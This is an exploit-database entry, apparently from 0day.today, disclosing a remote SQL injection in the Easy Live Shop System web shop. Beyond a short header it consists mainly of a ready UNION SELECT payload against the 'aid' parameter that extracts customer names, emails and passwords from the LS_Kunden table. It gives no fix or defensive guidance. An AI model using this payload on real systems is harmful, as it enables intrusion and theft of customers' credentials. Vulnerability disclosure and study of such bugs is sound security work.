Easy Live Shop System SQL Injection Vulnerability

2013-02-07T00:00:00
ID 1337DAY-ID-20317
Type zdt
Reporter cr4wl3r
Modified 2013-02-07T00:00:00

Description

Easy Live Shop System suffers from a remote SQL injection vulnerability.

                                        
                                            +--------------------------------------------------
| Easy Live Shop System SQL Injection Vulnerability
| By cr4wl3r http://bastardlabs.info
| http://bastardlabs.info/news/?id=85
| Link : http://www.media-products.de/easy-live-shop-system-p-840.html
| Demo : http://www.media-products-demoserver.de/ph414/
| Tested : Win 7
+--------------------------------------------------


Poc : http://bastardlabs/[path]/index.php?seite=17&aid=[SQLi]
Example : index.php?seite=17&aid=NULL/**/UNION/**/SELECT/**/NULL,CONCAT(CHAR(61),CHAR(61),CHAR(123),CHAR(123),CHAR(123),name,0x7c,0x7c,Email,0x7c,0x7c,Passwort,CHAR(125),CHAR(125),CHAR(125),CHAR(125),0x7c),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL/**/FROM/**/LS_Kunden

#  0day.today [2018-02-19]  #